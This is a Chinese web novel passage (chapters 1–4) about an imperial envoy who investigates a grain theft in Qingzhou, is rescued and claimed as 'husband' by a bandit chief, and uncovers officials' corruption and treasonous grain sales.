《被绑后他非喊我夫君》 第1章 夫君 瘴气弥漫在半山腰,烈日当空山里却不见光,到处静悄悄的,稍微闹出点动静便飞出一窝鸟。 几名黑衣男子提着剑快速朝山下移动,却没注意到地上的落叶沾着零星的鲜血,一直蔓延至一块巨石后。 温砚清屏着呼吸尽量不发出声响,额头上的汗珠顺着脖颈往下流,只要稍微一动弹,肩膀上的伤口就开始往外冒血。 不远处传来点动静,他扶着巨石站起身,小腿上的伤口疼得走不动路,一个踉跄摔倒在地上顺着土坡往下滑。 他贴着土坡不敢发出声响开始在心里盘算着会是谁? 心口跳动的声音震耳欲聋,一个一个名字排列着在脑子里过了一遍。 数日前,青州粮库被盗,皇上震怒特派他到此调查抓住真凶。 可他此次到青州未曾向任何人吐露过行程,也未暴露过身份,刚踏进青州的地界就遭到至少三拨人的追杀。 看来是有人不希望他调查粮库盗窃案。 “那边有没有!” “该死的,他能跑到哪里去?” “大人可说了,无论如何都要解决了他!” 温砚清借着草丛遮挡,耳根贴着土坡听着上头的动静,隐约捕捉到大人几个字眼。 “去下面看看,他逃不出去的!” 窸窸窣窣的脚步声越来越靠近,温砚清咽着口水摸到了腰间贴身的匕首,真到了那时候大不了鱼死网破。 汗水浸透了衣襟,他轻喘着气握紧匕首,侧方传来细微的脚步声,隐约闻到了一阵香味,眼前的画面开始变得模糊。 他晃了晃脑袋撑着身子,隐约间瞥见一抹显眼的紫,却连抬手的力气都没了。 “温砚清,你必死无疑!” “温砚清,要怪就怪你短命多管闲事!” 数十柄长剑从不同方位同时刺进他的身体,他吐出一口黑血跪倒在地上。 屋子里点着熏香,床榻上躺着的男人额头冒着汗脸色苍白,猛地坐起身。 温砚清轻喘着气摸着手上的被褥,这才注意到自己不知何时出现在这个陌生的地方。 身上的伤口被人处理过,他掀开被子下床观察四周。 屋子里的陈设很简单,反倒是墙上挂着的那把弓引得温砚清看了许久。 “吱呀”一声屋门被人推开,一个穿着紫衣长袍的男人手上端着咸粥走进来,看见人醒来有些意外。 “夫君醒的及时,也省得我担心。” 温砚清本想着向自己的救命恩人道个谢,正准备说出口的话瞬间噎住,他震惊地抬头看向对方,“你……你喊我什么……” “夫君啊,我们昨夜拜堂成亲了,我理应喊你夫君,还是说夫君对这个称呼不满意?” 他轻笑一声继续往下说,“谁来喊其实都一样,只要我们夫夫一心。” 温砚清涨红了脸解释,“这其中是不是有什么误会,我昨夜怎么会和你成亲?更何况我不好龙阳……” “我也不认识你,你不能……” “我们清风寨的规矩就是滴水之恩当涌泉相报,我救了你,你就应当和我成亲的。” “从前不认识,现在不就认识了吗?” 清风寨? 温砚清在心里默念着这三个字,近些年土匪猖狂,诱拐良家丧尽天良,其中数青州辄靡山上的清风寨最为张扬。 “你是……清风寨的土匪头子,晏亭风?” 传闻清风寨土匪头子向来神秘莫测,来去匆匆,因面容丑陋常年以面具示人。 可眼前的人却长着极好看的一张脸,只可惜是个登徒浪子。 “夫君嘴上说着不认识,却把我的名字牢牢记在心里。”晏亭风顺势拉起他的手贴在自己的心口。 温砚清迅速抽回自己的手,踉跄地往后退了两步,他紧贴着墙摸向腰间,空空如也。 随即反应过来,衣服被人换了。 晏亭风知道他在找什么,一边靠近一边解释,“夫君是在找匕首吗?昨夜给你换衣服的时候,顺手收了起来。” “你别过来!你知道我是谁吗?小心我……” 话还未说尽,他就被人扯进怀里接着摁在摇椅上,“皇上特封的钦差,当今皇后的弟弟,此次来青州是为了调查一起粮食盗窃案。” 晏亭风端起桌上那碗咸粥,温度正好,他舀起一勺喂到温砚清得嘴边。 “一天一夜没进食,身体会吃不消的。” 温砚清将脑袋别到一旁去,此次来青州的行程以及出行的时间,他未曾向外透露过半分。 可面前这个猖匪却了如指掌,恐怕整个青州都知道这个消息。 “想知道我是如何得知这些消息吗?”晏亭风再次将汤匙喂到他的嘴边,示意他配合吃一口。 温砚清盯着他半晌,最后还是配合着张嘴。 “这消息是从宫里面传出来的,整个青州传得沸沸扬扬的,我就是不想知道都困难。” “既然你知道我是谁,就不该这么无礼。” 温砚清盯着他,青州的土匪确实猖狂,这次的粮库盗窃案恐怕没那么简单。 “我们是拜过天地的关系,夫君莫不是想要违背天地的意愿?” 喂进去小半碗的咸粥,晏亭风心情大好。 温砚清站起身就想往外走,“我要回去。” “那恐怕不太行,夫君现在是我的人,你可以随意在清风寨内走动,但是想要下山离开就别想了。” 晏亭风抽出一块干净的帕子擦了擦他的嘴角,“我还有点事需要处理,夫君好好休息,我已经交代好了寨子里的人,他们不会为难你的。” “你这是藐视王法,威胁朝廷命官!”温砚清气到发抖,等到他回去之后,一定亲自带人上山剿匪! 屋子里静了下来,思索片刻他决定到处看看,肯定有地方可以离开。 本以为门外有人收着,结果却空无一人,温砚清顺着台阶往上继续走。 清风寨的规模大,寨子建在山顶上,山腰瘴气环绕,山下的人想要上来就没那么容易。 走着走着,温砚清的视线落在不远处,一个老妇人佝偻着身子在井边打水,身上背着个小丫头。 他皱起眉头快步上前,“大娘,我来帮你。” 这些猖匪果然丧尽天,竟然连老弱病残都不放过。 “大娘,您在这里待了多久了?” 老妇人笑咪咪的比了一个数,“三年了,我在这里待了三年了。” “大娘,您还记得家在哪里吗?我可以带你回去的,有什么委屈都可以和我说,我是朝廷的人,您放心,我会给你一个交代的。” 和想象中的不一样,温砚清本以为老妇人会和他诉衷肠。 老妇人听见朝廷两个字眼,脸上的笑容慢慢消失,她抢回水桶拖着瘸腿往回走。 温砚清跟在身后解释,“大娘,你不用害怕,有什么问题都可以和我说的。” “砰”的一声屋门关上,他有些不知所措的愣在原地。 一个路过的大姐抱着洗干净的衣裳经过,温砚清走上前询问,“大姐,我想问个问题,为什么住着的大娘一听见朝廷就生气了?” 大姐上下打量了他一圈缓缓开口,“你是新来的吧?” “知道赵大娘为什么生气吗?她那条瘸腿就是被衙役打瘸的,就因为官府征粮的时候少了一两,就因为那一两被打瘸了一条腿。” “那群狗官丧尽天良,连她孙女的治病钱都不放过,好好的一个丫头,眼睛却瞎了。” 说完大姐长叹一口气,“这些年要不是清风寨养着我们,恐怕早就被官府压死了。” 温砚清忍不住开口,“那为什么不往上报?” 大姐嗤笑一声,“往上报有什么用,官官相护,赵大娘的儿子为了一个公道,人还没出青州就被活活打死。” “官大一级压死人啊,要是真的管用,我们也不至于在这里。” 大姐的叹息声一阵又一阵的,温砚清心里五味杂陈的说不出是什么滋味。 他知道青州内部有问题,却不知竟已经到这个地步了。 身后传来动静,他挪动身子,晏亭风抱臂靠在树下,“夫君这是打探清楚了?” “你……不许再这么喊我!” 温砚清目光复杂地看着晏亭风,他本以为是猖匪丧尽天良,可现在站在晏亭风面前,竟觉得自愧不如。 “晏亭风,我知道你是好人,这几日发生的事情我可以当做什么都不知道。” “温大人真的记不得我是谁吗?”自嘲似的,晏亭风笑出了声,“温大人就这么想回去,青州内部上上下下可都惦记着你呢。” 他走到温砚清的面前,伸出手整理领口上的褶皱,“青州就是一滩死水,里面已经发臭爬满蛆虫了。” 温砚清拍开晏亭风的手和他对视,“就算是一滩死水我也要把它从死水换成清水。” “那温大人恐怕要失望了,我第一次和人成亲,结果你却要离开我,我不同意。” 不可理喻! 温砚清转身拂袖不再理会他,白瞎长得好看却是个登徒浪子! 想要离开还是得靠自己,他的视线落在山下,他就不信找不到一个可以离开的缺口。 似乎是知道他心里在想什么,晏亭风突然开口,“知道清风寨为什么在山顶吗?” “这么些年很少有人敢上山,山里一年四季有瘴气毒蛇以及各种陷阱,山顶这个位置好,环境好还能清楚的看到山下的动静。” 他故意加重语气,“要是有人想着闯上来或者离开这里可没这么容易。” 温砚清总觉得他还在警告自己,既然寨子里的人可以出入自由,那就说明是有地方可以离开的。 天色暗了下来,温砚清守在门前和晏亭风大眼瞪小眼,“温大人你这是打算把我关在门外吗?” “夜里凉,你就忍心我在外头挨冻吗?” 温砚清涨红了脸,最后让开半边身子,随后他盯着床榻犯了难。 他从未和任何人同榻而眠,更何况是晏亭风这个登徒浪子。 “温大人在想什么呢,快躺下啊。”晏亭风早就躺下,他掀开被子拍了拍另一半邀请温砚清躺下来。 “你……你……” 温砚清红着耳朵背对着他,半天说不出一句话来,“你怎么不穿衣裳!简直!简直不知廉耻!” 作者有话说 显示所有文的作话 第1章 夫君 第2章 重点嫌犯 “温大人,夜深了,快躺下吧,我不会对你做什么。” 话是这么说,可温砚清还是不安心,他背对着晏亭风,半个身子悬空着。 “温大人,我又不是什么吃人的怪物,不用离我这么远。”晏亭风半撑着身子将人拉了进来。 头一回和人挤在一张床上,直至天明温砚清才放心的合上眼。 向来每天雷打不动早起的温大人,一直到晌午才舍得起来,他坐直身子这才注意到另一半已经空了。 桌上放着几块肉饼,碟子下方压着一张字条,他扫了一眼眼底却闪过一抹惊讶。 晏亭风身为一个山匪,字却端正工整,他将字条重新压了回去。 今日晏亭风要下山处理事情,要过几日才能回来,他拿起一块肉饼咬了一口。 肉香瞬间溢出来,不知不觉间竟然一块都不剩。 他擦干手上的油渍盘算着到寨子里观察观察。 “利索点,马上就要过冬了,多备点柴火放着。”一个身形壮硕的大汉吊着嗓门指挥着,一个转身注意到温砚清。 他大咧咧的走上前,“你就是我大哥救回来的压寨夫人吧,这些天也不把人带来给我们瞧瞧,学富贵人家金屋藏娇去了。” 温砚清不知如何反驳只能红着耳朵,他匆忙转移话题,“这些柴火是送到后山去的吗?” “是啊,后山住着的大多是老人小孩,每年入冬前我大哥就会让我们备着柴火。” 大汉名叫东子,打小就跟在晏亭风身后哭着喊大哥。 温砚清跟着附和了两句随后找了个借口离开,他的视线落在一处山坡上缺口。 几根木板敲打出来的护栏经过风吹日晒已经腐烂了一大截。 只需要稍微使点力气就能踹断从这里下去。 温砚清心里有了想法,打算趁着天黑离开,他默不作声记住路线。 山里不比外头,天一黑温度连着往下降,温砚清提前灭了灯伪造睡下的假象。 下山的道上有人轮着值守,温砚清掐着换人的间隙开门,他屏着呼吸摸黑走,中途顺手从地上捡起一块石头抱在怀里。 只需要轻轻一敲护栏断成了两截,他屏着呼吸顺着山坡往下滑,手心被磨出一层血,他却感觉不到疼一样。 下山的路他是从东子口中知道的,寨子的人下山会专门在树上做标记好避开瘴气和陷阱。 山顶一个男人靠在亭子里摆弄着桌上的白瓷杯,亭子上方跳下来一名壮汉,“大哥,人走了。” 晏亭风放下手中的瓷杯,不放心似的开口,“你确定你和他说的路线没有错?” “错不了,只是,大哥,我不懂你怎么想的,为什么就这样把人放走了。” 东子给自己倒了一杯酒,一杯之后身子逐渐回暖。 晏亭风没有回答这个问题,而是起身准备离开,临走前他拍了拍东子的肩膀,“他从哪离开的,就把那一处该换的换了。” 东子给的路线确实没错,下山的路上确实没遇上陷阱和瘴气。 从辄靡山往下继续走就到了青州地界,温砚清没有直接到青州府,而是绕着路来到了一家客栈。 他伸出手有节奏的敲了三下门,“吱呀”一声,一个男人探出脑袋疑惑地看向温砚清,“客官若是打算住店可以往下走去,实在抱歉,我家今日已满。” 温砚清从怀里取出一块玉佩,“我从京城来,找宋必怀。” 听见宋必怀三个字,店家表情逐渐严肃,探出身子望向四周,“大人请进。” 店家带着他上楼,最后在天字房前停了下来,进了屋内不等开口,店家弯着身子作辑。 “宋必怀见过大人。” 温砚清拦住了他,敲了敲桌子,“先说正事,这些繁冗礼节必要时可以放放。” 宋必怀点着头倒了杯茶推到温砚清的面前,“大人比定好的日子晚了些,莫不是路上遇到了什么麻烦。” 被晏亭风救走的事情,温砚清没细说,“刚踏入青州的地界之前来了三拨人想要我的命,有些人不希望我调查这起盗窃案。” “我先前让你调查的事情怎么样了?” “这件事说来蹊跷,我那晚到粮库,里头干净得一粒米都没有,看痕迹不像是被人盗走,更像是从未储存过。” 温砚清抿了一口茶水,心里有了数。 天色将亮,他站起身准备离开,宋必怀派了两个人跟在他身边,“青州内部上下各怀鬼胎,大人带着他们也安心。” 宋必怀派来这两人是亲兄弟,哥哥叫冬瓜,弟弟叫南瓜。 走之前,温砚清拿了银两让冬瓜去包一艘船,又让南瓜到街上去大肆宣扬,皇上特派来调查盗窃案的钦差马上就要到青州府。 不到一炷香的时间,岸上站满了大大小小的官员,“我等恭候温大人许久,路途遥远,温大人辛苦了。” 青州知府陆元承膘肥体胖站在正中央,语气算不上恭敬,眼神中更多的是有恃无恐。 温砚清皮笑肉不笑开口,“粮库盗窃案还未找出凶手,今上愁得茶饭不思,陆大人倒是自在。” 陆元承脸上挂不住拎着衣袖擦了擦额头上的汗水,“我等同皇上一心,茶不思饭不想,找不到凶手又怎么能安心,如今温大人来了,定能将这盗贼绳之以法!” “那么,陆大人可查出点什么?” 不等陆元承开口,站在他身后的通判林正朝温砚清行了个礼,“温大人,此事定是那清风寨的山匪,那些山匪猖狂不把朝廷放在眼里。” “粮库常年重兵把手,普通人根本无法靠近,最大的嫌疑只有那些悍匪!”林正说的义正言辞,言语激烈,好似真的有这么一回事。 温砚清提出要到粮库看看,林正面上闪过一丝异样,目光频频望向陆元承。 僵持了会,他摆出一个请的姿势,“温大人这边走。” 林正让人取来钥匙打开粮库的大门,温砚清站在一旁目光落在完好无损的锁芯上。 陆元承上报的信件中,说是匪徒敲坏了粮库的大门,杀死了巡逻的官兵,在一夜之间盗走了所有的粮食。 可照目前这个情况看,陆元承撒谎了,锁芯完好,上面还残留着使用痕迹,不像是新换上的。 粮库内空的一粒米都不见,温砚清绕了一圈开口,“林大人说是清风寨的猖匪盗走了粮食,那为何没有派人上山剿匪?” 林正似乎没想到温砚清会问这么个问题,他支支吾吾半天开口,“大人有所不知,那辄靡山地形复杂,山上瘴气野兽毒蛇遍布,那猖匪狡猾得很。” “是么?我倒是觉得不是山上的土匪盗走的。” 温砚清故意停顿,将其他人面上的表情一一收入眼底,他转身拂袖走出粮库。 看来青州确实有问题,恐怕比他听说的更严重。 天色渐晚,陆元承主动为温砚清安排居住的地方,温砚清没接受,在陆元承的眼皮子底下做事,恐怕不会安全。 温砚清靠在马车上揉着太阳穴,青州内部就像是串通好了一样,没一句实话。 他轻叹一口气,脑海中慢慢浮现一句话,“青州就是一滩死水,里面已经发臭爬满蛆虫了。” 马车缓慢停了下来,南瓜掀起帘子示意温砚清到地方了,“大人,这是宋掌柜置办的私宅,已经让人收拾干净了。” 温砚清对住的地方倒是不挑,刚进院里南瓜急匆匆拿着一封信件走进来,“大人,一个小孩送来的,说是给你的。” 他接过那封信心里正疑惑着,还有谁更给他写信。 “大人,这是发病了吗?脸怎么这么红,我让人去请大夫来!” “不用,我没事。” 温砚清及时拦下冬瓜,捏着那封信快走进书房,转身关门。 他再次举起那张信纸,上头端正写着几句话。 “一日不见兮,思之如狂[1],夫君就这样把我丢下,让我一个人思念成疾。” “不知廉耻!” 他把信纸揉成一团丢在角落,随手拿起桌案上放着的《礼记》,翻没两下他面色难看地重新合上,站起身从角落捡起那团信纸。 这都是晏亭风藐视王法的证据,不能就这样丢了,迟早有一天,他一定亲自把这个土匪头子抓起来! 他深吸口气调整自己的情绪,耳朵上的红晕慢慢消下去,冬瓜搬来近些年青州内部官员的名单。 “大人,都在这里了。” 温砚清翻了两页摆了摆手让冬瓜下去休息,“我也没什么事,夜里不用守着了。” 名册里清晰记载着青州内部大大小小的官员情况,温砚清一只手捏着笔,只要有问题的他就在上面画个圈。 突然他放下名册将手伸向侧腰,手腕发力将腰间的匕首甩了出去,落在了房梁上。 “不过两日不见,夫君便打算弑夫吗?” 熟悉的声音从身后响起,温砚清皱着眉头站起身,“你怎么在这里?” 晏亭风一副委屈的模样,叫人心生怜悯,“我与夫君刚成婚不久,夫君便弃我而去,我实在想念才来的。” “你!你现在是重点嫌犯,要是不想坐牢马上离开这里!” 温砚清背对着他,耳朵烫得发红,他深吸一口气心里暗骂没出息,只不过被挑逗两句就红成这样。 “夫君是在关心我吗?” 晏亭风大步往前走,“我没做过的事情自然不怕,夫君不用担心。” “不许喊这么喊我!现在立刻马上从这里离开,否则我喊人了!” 温砚清咬着牙将桌案上的书丢向他,传来的动静引来了南瓜,“温大人可还好,莫不是发生了什么事?” “不用进来!我没事,只是发现一只老鼠,我要睡下了,早些休息。” 三言两语,南瓜确认真的没什么事后才离开,温砚清压着声赶人,“出去!” 晏亭风垂着眸轻叹气,“夫君就不能收留我一个晚上么,你看已经这么晚了,山上的路不好走,万一我遇上毒蛇猛兽怎么办?” “况且这个时候上山,瘴气缭绕看不清路,要是掉陷阱怎么办。” [1]:来源于《凤求凰》 作者有话说 显示所有文的作话 第2章 重点嫌犯 第3章 贴身侍卫 “闭嘴!”温砚清还是狠不下心,他方才扔在地上的书,语气凶狠,“明日一早马上离开,若是让人看见了,我饶不了你!” “我就知道夫君心疼……” “啪”的一声,晏亭风安静了下来,脸上迅速泛红。 温砚清背过身子躺床上,让出了半边位置,“不许在这么喊我!” “温大人好狠的心。”晏亭风嘴里含着笑灭了屋内的灯,躺在另一侧,出人意料的老实。 天色渐亮,屋外响起鸡鸣,温砚清迅速睁开眼睛,伸出手想要推醒身旁的人让他早点离开。 本该躺在身旁的人却早已离开,他松了一口气重新躺了回去,想到什么似的重新起身洗漱。 吃过早膳后他让冬瓜陪着自己出门,留下南瓜在院子里守着。 “大人,这个王二只是个小衙役,按理来说应当和盗窃案无关才是。” 温砚清摇了摇头开口解释,“粮库被盗当天只有他没出现,当天本应该是到他值班的日子。” “兴许他知道点什么。” 刚下过雨青石路上冒出青苔,两人一路打听寻到王二门前。 冬瓜重重敲了几下房门,“吱呀”一声木门打开一个小缝,冬瓜望向温砚清,“大人,门没关。” 他一脚踹开屋门,破旧的院子里安安静静的一点声响没有。 桌上放着一碗白粥,温砚清伸出手摸了摸,还带着点余温,“人应该还在附近。” 墙外围传来瓦片破碎的声音,他转身示意冬瓜去追,“不用管我,找到王二才是当务之急。” 他推开里屋,视线落在还燃着的火盆,像是想到什么似的,他舀来一盆水倒进火盆内。 火盆里滋滋冒响,露出了底部还未烧完的信件。 温砚清将火盆倒扣,他伸出手想要去捡起残片却又停顿在半空中,房梁上跳下来一名黑衣人刀剑直逼心口。 躲闪之际,温砚清捡起地上的火盆丢了出去,一个翻身跳出窗。 身后的黑衣人紧追不舍,一剑刺中他的小腿,忍着疼痛他举起了挂在墙上的杀猪刀。 长剑从地上划过扬起沙石,温砚清下意识挥动手中的杀猪刀,预想中的场景没有发生。 他半睁着眼,原本追着他的黑衣人胸口插着一把剑直挺挺地躺在地上。 面前传来轻笑声,他警惕地握紧手中的杀猪刀抬头望去,只见晏亭风穿着一身显眼的靛蓝色长袍靠在石柱上。 “你跟踪我?” “温大人,这怎么算跟踪呢,温大人这条命是我救下的,可要好好报答我呀!” 明明是一句在正常不过的话,从晏亭风的嘴里出来却显得不着调。 温砚清莫名松了一口气丢下手中的杀猪刀,他调整了下自己的情绪淡定开口,“你要我怎么报答?” 晏亭风一脸坏笑指了指侧脸,“温大人,你亲我一口,当作报答可好?” “你!不知廉耻!” 温砚清气得双手发抖耳根子发红,登徒浪子就是登徒浪子! “开玩笑的温大人,我只有一个请求,温大人调查盗窃案把我留在身边吧,就当做你的贴身侍卫。” 不知是不是故意的,晏亭风着重咬着贴身两个字。 结果可想而知,温砚清一口回绝。 “不行!你是重点嫌犯,本官为何要让你跟在身边,更何况不需要你守着。” 温砚清重新走回屋内捡起那几块残缺的信纸。 他走一步晏亭风就跟一步,却也不会贴的太近,中间隔着距离。 “温大人也说了,我是重点嫌犯,我想还自己一个清白。” “更何况今日温大人身边没人不是,若是再发生这样的世情,身边也有个人照应。” 温砚清匆匆扫了一眼信纸,随后折叠收起来,“青州内部恨不得将你绳之以法斩首示众,你跟在我身边就不怕人头落地?” 屋外传来动静,冬瓜脚步匆忙赶回来,“大人,王二他……” 他突然停顿下来,目光警惕盯着站在一旁的晏亭风。 “你继续说。” 温砚清发话,冬瓜才继续往下说。 “我追那王二追到村口时却发现他被人灭了口。” 现下王二死了只能从其他地方入手…… 温砚清沉着脸开口,“先回去。” 晏亭风跟在他身后眼里含着笑,温砚清这是答应了。 他凑到温砚清身旁压着声,“能够跟在你身边人头落地,我也愿意。” 温砚清没理会他,自顾自地往前走,把晏亭风留在身边的原因很简单。 他是重点嫌犯,可以时刻盯着,若真的是晏亭风盗窃的粮库,他定缉拿归案。 再者,晏亭风身手不错,留在身边也能多一层保障。 回到府里温砚清便将自己关在书房里,他将那几张残缺的信纸一一铺平摆放在桌面上。 大部分地方已经被烧得不成样,他将上头能看见的字誊抄下来。 书房的门被人敲响,晏亭风端着糕点进来,“温大人就算是劳作的驴也该休息休息吧。” “尝尝,我的手艺不会差。” 温砚清瞥了眼摆放在一旁的糕点皱起了眉头,“出去,我不需要。” 那信纸上的字拼凑在一起也看不出什么有用的线索。 又断了。 他烦躁地将手中的笔撂下,一抬头就瞥见晏亭风那张嘻皮笑脸,气不打一处来,“出去,别在这里碍事。” 晏亭风趁机拿了一块绿豆糕塞进他的嘴里,“火气不要这么大嘛,人总归是要休息的,没准就有头绪了呢?” “刚知道问题出在哪里,当然要去找有问题的人。” 温砚清不自觉咬下口中的绿豆糕,心里有了点想法,不知不觉间竟被晏亭风连着喂了几块糕点下去。 他轻咳两声皱起眉头佯装生气,“记住你现在的身份,不可随便逾矩!” 墨色的天悬挂着半轮圆月,夜色中两个黑影利索地翻入高墙,一路摸索着推开一处屋门。 温砚清伸出手拦住晏亭风,“你确定就是这里,可别弄错了被人发现。” “温大人放心,整个陆元承院里我早就打探清楚了,错不了。” 正如晏亭风所说,这里的确是陆元承平日办公的书房。 温砚清从怀中取出火折子,他屏着呼吸走向桌案,随手拿起一份册子翻看,倒是没发现什么异常。 接连翻看的两本结果都一样,他皱起眉头不禁开始怀疑,莫不是他判断错了。 陆元承真是为民为国的好官? 他的视线落在了架子上的一尊白玉,鬼使神差的,他走上前伸出手去触碰。 “吱呀”一声,架子开始翻转,露出了里面的空间。 他正打算上前套路却被人拦了下来,晏亭风嘴角挂着笑抢先一步,“哪有让温大人去探路的道理,这种事情还是让我来吧。” 密室里头又闷又窄,走没两步,也不知是紧张还是闷热,额头上的汗水顺着往下流入衣领。 走入密室才彻底看清里面的场景,里面摆放着数十个箱子。 心里有了些许答案,温砚清还是上前一一打开,只见明晃晃整整齐齐的金条摆放在里头。 他转了一圈,接连打开其他箱子,无一例外都是金子。 陆元承身为一个正四品知府,即便是收受贿赂也不该是这个数目。 突然他想起什么似的,目光犀利看向晏亭风,“你说,除了收受贿赂,还有什么办法可以敛财?” 晏亭风张了张嘴,正打算说出答案,屋外传来微弱的动静,他伸出手抓着温砚清的手腕,反应迅速离开密室。 两人缩在房梁上方的平台躲着,屋门被人轻轻的打开,来人正是陆元承。 他鬼祟地望向四周,确认没有其他人后才放心的带上屋门,转身走向密室。 大概是紧张,温砚清的手心沁出一层薄汗,他这才注意到晏亭风一直抓着自己的手心没有放开。 他抽回自己的手,擦干上头的汗渍。 约莫过去了半个时辰,陆元承面带笑意的走出来,将书房的门轻轻带上。 温砚清刚松一口气,身下突然腾空而起,他下意识环住晏亭风的腰身。 “你做什么!” 他压低声音训斥。 晏亭风一脸无辜将他放下,“温大人不会轻功,我带你下来呀。” 以防和陆元承撞上面,两人顺着窗子离开。 回到府里温砚清面色凝重地抵靠在桌案前,脑海里尽是那一屋子明晃晃的金子。 他抬起头望向身旁的晏亭风,“方才在那,你口中的答案是什么?” 一个不好的答案在他心头涌现,可他依旧不愿意去相信。 晏亭风不在嘻皮笑脸,面色严肃一点一点分析,“结合粮库失窃,很有可能,陆元承在盗卖粮食。” “而能够一次**付这么多恐怕……” 后半句晏亭风没有说出来。 近些年来,大夏国屡次进犯景国,边疆地区民不聊生。 直到这几个月,大夏国遭遇大规模蝗虫灾,前线粮食短缺。 本以为此次可以趁机反攻,可大夏国一夜之间补给充足,局势扭转连着抢占景国三座城池。 “陆元承,通敌卖国,盗卖粮食。” 温砚清一字一顿念出这句话,眼下证据虽不够确凿,却也坐实了陆元承收受贿赂贪污**。 他提起笔重新拿出一张信纸,打算将此事上报,“帮我研磨。” 注意到身旁的人没动静,他抬头望去,只见晏亭风面色凝重看着他。 “温大人,你确定上报的信件真的能够到皇上的跟前吗?” 这不是晏亭风第一次提醒,即便是再迟钝,温砚清也察觉到了点什么。 他放下笔开口,“你是说,朝廷里头,有人浑水摸鱼?” 晏亭风明明就是个山匪,按道理该和官府接触不深,却对此类消息了如指掌。 温砚清一步一步靠近他,不动声色抽出衣袖中的匕首抵在他的脖子前,“你背后的是谁,是前朝还是后宫?” “文臣还是武将?若是不说清楚,我便杀了你!” 作者有话说 显示所有文的作话 第3章 贴身侍卫 第4章 夫夫一体 脖颈上被划出一条浅浅的口子,冒出一抹鲜红,晏亭风不开口,匕首上的力度便会加重一分。 晏亭风轻叹一口气,一脸无辜,“温大人,在青州只要有钱,可以买到任何消息的。” “找何人买的?买这些消息又有什么用途?”温砚清冷着一张脸,却没有收起匕首的动作。 青州偏远之地,晏亭风常年待在清风寨,按道理是不会知道这么多的。 “青州内部稍微塞点银两想要什么消息得不到,至于用途……”晏亭风顺势将手搭在他的手背上,“温大人,我都是为了你才去打听这些消息的。” 温砚清拍开他的手面色严肃,“你若是在说胡话,我便马上让人将你关入大牢!” 晏亭风站直了身子,收起了脸上的笑容,一本正经的开口解释。 “温大人,我没有说胡话,我去打探这些消息的确是为了你,我们夫夫一体不管你承不承认,一荣俱荣一损俱损,我不能眼睁睁看着你往火坑……” “啪”的一声清脆,温砚清咬着牙一字一顿,“闭嘴!以后不许再说这些话,若是让旁人听见了,我饶不了你!” 他红着脖颈将匕首收起来,重新走向桌案前拿起笔,怎料竟一个字都写不出。 身后传来轻笑声,听得温砚清心里烦躁写歪了一个字,他轻啧一声将信纸揉成一团丢了过去。 “出去!没我的允许不准进来!” 晏亭风收起了脸上的笑容,换了一副语气,看似是在自言自语,实则说的一声比一声大。 “外头天冷,也不知道我能不能撑过今晚,这院里也没个让我避风的地……” 屋门轻轻关上,外头的风呼呼的吹,温砚清回过神来,信纸上不知什么时候被染黑了小半块。 他将笔放下似乎是在纠结什么,随后站起身打开屋门,只见晏亭风单薄着一件衣裳站在门前。 “明日我会让人整理出一间屋子的。” 话音刚落,晏亭风脸上重新露出一个笑来,熟练的转身走进屋子里,“温大人我就知道你舍不得看我挨冻。” 骗子! 温砚清在心里怒骂,他就知道,晏亭风这个登徒浪子惯会装可怜,再有下次晏亭风就算是冻死在他门前,他都不会看一眼! 他关上屋门只见晏亭风早早地躺下,见他进来马上挪出一个位置来。 “温大人,快躺下。” 温砚清灭了灯躺在自己的位置上,“你又在耍什么花招?” “怎么样温大人,我暖床的技术还不错吧?” 光是听语气温砚清已经能想象出晏亭风那副得意的样,虽说被褥里确实暖和,但也不能让晏亭风得意过头。 “一般般,怎么?你打算从良不做土匪去给人当暖床丫鬟了?” 耳旁传来一阵轻笑,晏亭风顺着往上爬,“我倒是想,就看温大人愿不愿意给我这个机会。” 等了许久没得到回应,他转身面对着温砚清,对方像尸体一样板板正正的躺着,双手搭在被子上。 天色渐亮,隔壁院子养着的鸡准点打鸣,温砚清起身时身旁另一半已经空了。 他推开屋门下意识寻找晏亭风的身影,后者换了一身赫赤锦衣束起长发,手上拎着花浇围着院里的芙蓉花。 不知不觉竟看了许久,回过神来时,晏亭风放下花浇走到他跟前,“温大人看了这么久,莫不是终于发现我俊美的相貌了?” “你倒是没皮没脸。” 温砚清喊来冬瓜南瓜备车,陆元承通敌卖国,恐怕青州内部皆如此。 景国上下又有多少类似的事情发生? 马车外传来动静打断了思绪,温砚清掀开半边帘子,忽然喊停。 巷口坐着一个穿着破旧头发发白的老人,面前摆放着一个破碗,双手合十目光乞求的望向来往的人。 “行行好吧,赏点吃的,行行好……” 温砚清走到老人面前取下腰间的钱袋子放入他的怀中,“老人家收好。” 老人弓着腰不停地道谢,温砚清这才注意到他的身下一片空荡。 他主动蹲下询问,“老人家,您家里的人呢?” 说起这个老人忍不住别过头抹眼泪,“死了,全都死了,死了好啊,不用在为各种赋税发愁。” 温砚清琢磨出一丝不对劲,他随口编造了个借口。 “老人家,听您说的,这青州赋税莫不是有问题?说实话,我们是从北方来的,想要在青州做买卖。” 老人轻叹一口气,“何止是有问题,恨不得扒了我们的皮,吃我们的肉,喝我们的血啊!” “土地税、人头税、茶税、盐税……” 温砚清脸色越发的难看,“若是交不上,这官府会怎么样?” 老人冷笑一声指着自己的双腿,“还能怎么办,若是交不上轻则断手断脚,重则连个全尸都没有。” 回到马车上温砚清一言不发,许久他的视线落在晏亭风身上,“你早就知道这些?” 晏亭风没有否认,“这样的事情不是一天两天了,温大人还是从前一样,只可惜你没办法一个一个救。” 马车缓慢停了下来,温砚清沉着一张脸快步走进青州府。 以陆元承为首的数十位官员在堂前候着,“温大人匆忙喊来下官们莫不是有了盗窃案的头绪?” 温砚清连个眼神都没分给他,清冷的嗓音压抑着怒气,“我在来的路上知道了一件事,青州内部擅自收取赋税,单是种类便说不尽。” “若是交不上轻则断手断脚,重则不留全尸,看来这是出了个土皇帝,想要在青州只手遮天。” 陆元承赔着笑脸解释,“温大人莫不是误会了,我们未曾擅自收取赋税,年年都详细记录并且准时上报,定是有奸人污蔑啊!” “污蔑?” 温砚清冷笑一声伸手一一指过去,“既然如此,本官是该好好彻查一番。” 堂中官员面面相觑不敢出声,这么多年谁也不敢说未曾中饱私囊过。 陆元承轻咳一声朝林正使眼色,后者为难的站出来,“温大人就将心放在肚子里,这件事我们一定调查清楚,” 给您一个满意的答复。” “是啊,温大人,事态严重我们定会彻查清楚,给您一个交代,也给青州的百姓一个交代!” 陆元承拖着臃肿的身子作辑,温砚清得视线落在他的身上,“不劳烦各位大人,这件事本官亲自查。” “届时还希望各位大人配合。” 他收回视线拂袖离开,留下其余人惶恐擦汗。 “南瓜,把名册给我。” 